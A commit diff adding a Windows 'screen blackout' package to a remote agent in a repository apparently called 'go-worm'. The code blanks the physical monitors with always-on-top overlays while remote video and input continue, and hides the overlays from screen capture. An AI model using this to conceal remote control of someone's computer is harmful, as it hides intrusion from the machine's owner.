feat(agent): add screen blackout feature
- Physical displays blanked via overlay - Remote video and input keep working - Exclude overlay from screen capture - Add blackout API and UI toggle - Wire flag through capture protocol
This commit is contained in:
@@ -0,0 +1,372 @@
|
||||
//go:build windows
|
||||
|
||||
package blackout
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"runtime"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
||||
)
|
||||
|
||||
const (
|
||||
className = "win64_mp_blackout"
|
||||
|
||||
wsPopup = 0x80000000
|
||||
|
||||
wsExLayered = 0x00080000
|
||||
wsExTransparent = 0x00000020
|
||||
wsExTopmost = 0x00000008
|
||||
wsExToolwindow = 0x00000080
|
||||
wsExNoActivate = 0x08000000
|
||||
layeredEx = wsExLayered | wsExTransparent | wsExTopmost | wsExToolwindow | wsExNoActivate
|
||||
|
||||
swShowNoActivate = 4
|
||||
swpNoActivate = 0x0010
|
||||
swpNoMove = 0x0002
|
||||
swpNoSize = 0x0001
|
||||
swpShowWindow = 0x0040
|
||||
|
||||
lwaAlpha = 0x00000002
|
||||
wdaExcludeFromCapture = 0x00000011
|
||||
blackBrush = 4
|
||||
errorClassAlreadyExists = 1410
|
||||
htTransparent = 0xFFFFFFFF
|
||||
maNoActivate = 3
|
||||
wmQuit = 0x0012
|
||||
wmNcHitTest = 0x0084
|
||||
wmMouseActivate = 0x0021
|
||||
wmDisplayChange = 0x007E
|
||||
wmUser = 0x0400
|
||||
wmRebuild = wmUser + 1
|
||||
hwndTopmost = ^uintptr(0) // HWND_TOPMOST
|
||||
)
|
||||
|
||||
type wndClassEx struct {
|
||||
Size uint32
|
||||
Style uint32
|
||||
WndProc uintptr
|
||||
ClsExtra int32
|
||||
WndExtra int32
|
||||
Instance uintptr
|
||||
Icon uintptr
|
||||
Cursor uintptr
|
||||
Background uintptr
|
||||
MenuName *uint16
|
||||
ClassName *uint16
|
||||
IconSm uintptr
|
||||
}
|
||||
|
||||
type msg struct {
|
||||
HWnd uintptr
|
||||
Message uint32
|
||||
WParam uintptr
|
||||
LParam uintptr
|
||||
Time uint32
|
||||
Pt struct{ X, Y int32 }
|
||||
}
|
||||
|
||||
type overlayRect struct {
|
||||
left, top, width, height int
|
||||
}
|
||||
|
||||
var (
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
gdi32 = syscall.NewLazyDLL("gdi32.dll")
|
||||
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
procRegisterClassExW = user32.NewProc("RegisterClassExW")
|
||||
procCreateWindowExW = user32.NewProc("CreateWindowExW")
|
||||
procDestroyWindow = user32.NewProc("DestroyWindow")
|
||||
procShowWindow = user32.NewProc("ShowWindow")
|
||||
procSetWindowPos = user32.NewProc("SetWindowPos")
|
||||
procSetLayeredWindowAttributes = user32.NewProc("SetLayeredWindowAttributes")
|
||||
procSetWindowDisplayAffinity = user32.NewProc("SetWindowDisplayAffinity")
|
||||
procDefWindowProcW = user32.NewProc("DefWindowProcW")
|
||||
procGetMessageW = user32.NewProc("GetMessageW")
|
||||
procTranslateMessage = user32.NewProc("TranslateMessage")
|
||||
procDispatchMessageW = user32.NewProc("DispatchMessageW")
|
||||
procPostThreadMessageW = user32.NewProc("PostThreadMessageW")
|
||||
procGetStockObject = gdi32.NewProc("GetStockObject")
|
||||
procGetModuleHandleW = kernel32.NewProc("GetModuleHandleW")
|
||||
procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId")
|
||||
|
||||
// ponytail: NewCallback is never freed; one wndproc for the process.
|
||||
wndProcCB = syscall.NewCallback(overlayWndProc)
|
||||
|
||||
mu sync.Mutex
|
||||
active bool
|
||||
threadID uint32
|
||||
loopDone chan struct{}
|
||||
hwnds []uintptr
|
||||
classAtom uint16
|
||||
classUTF16 *uint16
|
||||
)
|
||||
|
||||
func init() {
|
||||
if unsafe.Sizeof(wndClassEx{}) != 80 {
|
||||
panic(fmt.Sprintf("wndClassEx must be 80 bytes on amd64, got %d", unsafe.Sizeof(wndClassEx{})))
|
||||
}
|
||||
}
|
||||
|
||||
func running() bool {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
return active
|
||||
}
|
||||
|
||||
func start() error {
|
||||
mu.Lock()
|
||||
if active {
|
||||
mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
done := make(chan struct{})
|
||||
ready := make(chan error, 1)
|
||||
loopDone = done
|
||||
mu.Unlock()
|
||||
|
||||
go func() {
|
||||
defer close(done)
|
||||
defer helpers.RecoverLog("blackout")
|
||||
runOverlayLoop(ready)
|
||||
}()
|
||||
|
||||
select {
|
||||
case err := <-ready:
|
||||
if err != nil {
|
||||
<-done
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
case <-time.After(5 * time.Second):
|
||||
stop()
|
||||
return errors.New("monitor blackout did not start")
|
||||
}
|
||||
}
|
||||
|
||||
func stop() {
|
||||
mu.Lock()
|
||||
tid := threadID
|
||||
done := loopDone
|
||||
mu.Unlock()
|
||||
if tid != 0 {
|
||||
_, _, _ = procPostThreadMessageW.Call(uintptr(tid), wmQuit, 0, 0)
|
||||
}
|
||||
if done != nil {
|
||||
<-done
|
||||
}
|
||||
}
|
||||
|
||||
func runOverlayLoop(ready chan<- error) {
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
defer func() {
|
||||
destroyOverlays()
|
||||
mu.Lock()
|
||||
active = false
|
||||
threadID = 0
|
||||
loopDone = nil
|
||||
mu.Unlock()
|
||||
}()
|
||||
|
||||
tid, _, _ := procGetCurrentThreadId.Call()
|
||||
mu.Lock()
|
||||
threadID = uint32(tid)
|
||||
mu.Unlock()
|
||||
|
||||
if err := registerClass(); err != nil {
|
||||
ready <- err
|
||||
return
|
||||
}
|
||||
if err := createOverlays(); err != nil {
|
||||
ready <- err
|
||||
return
|
||||
}
|
||||
|
||||
mu.Lock()
|
||||
active = true
|
||||
mu.Unlock()
|
||||
ready <- nil
|
||||
|
||||
ticker := time.NewTicker(time.Second)
|
||||
defer ticker.Stop()
|
||||
stopTop := make(chan struct{})
|
||||
defer close(stopTop)
|
||||
go func() {
|
||||
defer helpers.RecoverLog("blackout-top")
|
||||
for {
|
||||
select {
|
||||
case <-stopTop:
|
||||
return
|
||||
case <-ticker.C:
|
||||
mu.Lock()
|
||||
on := active
|
||||
ids := append([]uintptr(nil), hwnds...)
|
||||
mu.Unlock()
|
||||
if !on {
|
||||
return
|
||||
}
|
||||
for _, hwnd := range ids {
|
||||
_, _, _ = procSetWindowPos.Call(hwnd, hwndTopmost, 0, 0, 0, 0, swpNoMove|swpNoSize|swpNoActivate)
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
var m msg
|
||||
for {
|
||||
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&m)), 0, 0, 0)
|
||||
v := int32(ret)
|
||||
if v == 0 || v == -1 {
|
||||
return
|
||||
}
|
||||
if m.HWnd == 0 && m.Message == wmRebuild {
|
||||
_ = createOverlays()
|
||||
continue
|
||||
}
|
||||
_, _, _ = procTranslateMessage.Call(uintptr(unsafe.Pointer(&m)))
|
||||
_, _, _ = procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m)))
|
||||
}
|
||||
}
|
||||
|
||||
func registerClass() error {
|
||||
if classAtom != 0 {
|
||||
return nil
|
||||
}
|
||||
name, err := syscall.UTF16PtrFromString(className)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
classUTF16 = name
|
||||
inst, _, _ := procGetModuleHandleW.Call(0)
|
||||
brush, _, _ := procGetStockObject.Call(blackBrush)
|
||||
wc := wndClassEx{
|
||||
Size: uint32(unsafe.Sizeof(wndClassEx{})),
|
||||
WndProc: wndProcCB,
|
||||
Instance: inst,
|
||||
Background: brush,
|
||||
ClassName: name,
|
||||
}
|
||||
atom, _, callErr := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc)))
|
||||
if atom == 0 {
|
||||
if errno, ok := callErr.(syscall.Errno); ok && errno == errorClassAlreadyExists {
|
||||
classAtom = 1
|
||||
return nil
|
||||
}
|
||||
if callErr != nil && callErr != syscall.Errno(0) {
|
||||
return callErr
|
||||
}
|
||||
return errors.New("RegisterClassEx failed")
|
||||
}
|
||||
classAtom = uint16(atom)
|
||||
return nil
|
||||
}
|
||||
|
||||
func monitorRects() ([]overlayRect, error) {
|
||||
var out []overlayRect
|
||||
for i := 0; i < 64; i++ {
|
||||
left, top, width, height, err := screenshot.MonitorBounds(i)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
if width < 1 || height < 1 {
|
||||
continue
|
||||
}
|
||||
out = append(out, overlayRect{left, top, width, height})
|
||||
}
|
||||
if len(out) == 0 {
|
||||
return nil, errors.New("no displays found")
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func createOverlays() error {
|
||||
destroyOverlays()
|
||||
rects, err := monitorRects()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
inst, _, _ := procGetModuleHandleW.Call(0)
|
||||
var created []uintptr
|
||||
for _, r := range rects {
|
||||
hwnd, err := createOverlay(inst, r)
|
||||
if err != nil {
|
||||
for _, h := range created {
|
||||
_, _, _ = procDestroyWindow.Call(h)
|
||||
}
|
||||
return err
|
||||
}
|
||||
created = append(created, hwnd)
|
||||
}
|
||||
mu.Lock()
|
||||
hwnds = created
|
||||
mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
func createOverlay(inst uintptr, r overlayRect) (uintptr, error) {
|
||||
hwnd, _, callErr := procCreateWindowExW.Call(
|
||||
layeredEx,
|
||||
uintptr(unsafe.Pointer(classUTF16)),
|
||||
0,
|
||||
wsPopup,
|
||||
uintptr(int32(r.left)),
|
||||
uintptr(int32(r.top)),
|
||||
uintptr(int32(r.width)),
|
||||
uintptr(int32(r.height)),
|
||||
0, 0, inst, 0,
|
||||
)
|
||||
if hwnd == 0 {
|
||||
if callErr != nil && callErr != syscall.Errno(0) {
|
||||
return 0, callErr
|
||||
}
|
||||
return 0, errors.New("CreateWindowEx failed")
|
||||
}
|
||||
ok, _, affErr := procSetWindowDisplayAffinity.Call(hwnd, wdaExcludeFromCapture)
|
||||
if ok == 0 {
|
||||
_, _, _ = procDestroyWindow.Call(hwnd)
|
||||
if affErr != nil && affErr != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("exclude overlay from capture: %w", affErr)
|
||||
}
|
||||
return 0, errors.New("exclude overlay from capture failed")
|
||||
}
|
||||
_, _, _ = procSetLayeredWindowAttributes.Call(hwnd, 0, 255, lwaAlpha)
|
||||
_, _, _ = procSetWindowPos.Call(hwnd, hwndTopmost, uintptr(int32(r.left)), uintptr(int32(r.top)), uintptr(int32(r.width)), uintptr(int32(r.height)), swpNoActivate|swpShowWindow)
|
||||
_, _, _ = procShowWindow.Call(hwnd, swShowNoActivate)
|
||||
return hwnd, nil
|
||||
}
|
||||
|
||||
func destroyOverlays() {
|
||||
mu.Lock()
|
||||
ids := hwnds
|
||||
hwnds = nil
|
||||
mu.Unlock()
|
||||
for _, hwnd := range ids {
|
||||
_, _, _ = procDestroyWindow.Call(hwnd)
|
||||
}
|
||||
}
|
||||
|
||||
func overlayWndProc(hwnd, message, wparam, lparam uintptr) uintptr {
|
||||
switch message {
|
||||
case wmNcHitTest:
|
||||
return htTransparent
|
||||
case wmMouseActivate:
|
||||
return maNoActivate
|
||||
case wmDisplayChange:
|
||||
mu.Lock()
|
||||
tid := threadID
|
||||
mu.Unlock()
|
||||
if tid != 0 {
|
||||
_, _, _ = procPostThreadMessageW.Call(uintptr(tid), wmRebuild, 0, 0)
|
||||
}
|
||||
return 0
|
||||
}
|
||||
ret, _, _ := procDefWindowProcW.Call(hwnd, message, wparam, lparam)
|
||||
return ret
|
||||
}
|
||||
Reference in New Issue
Block a user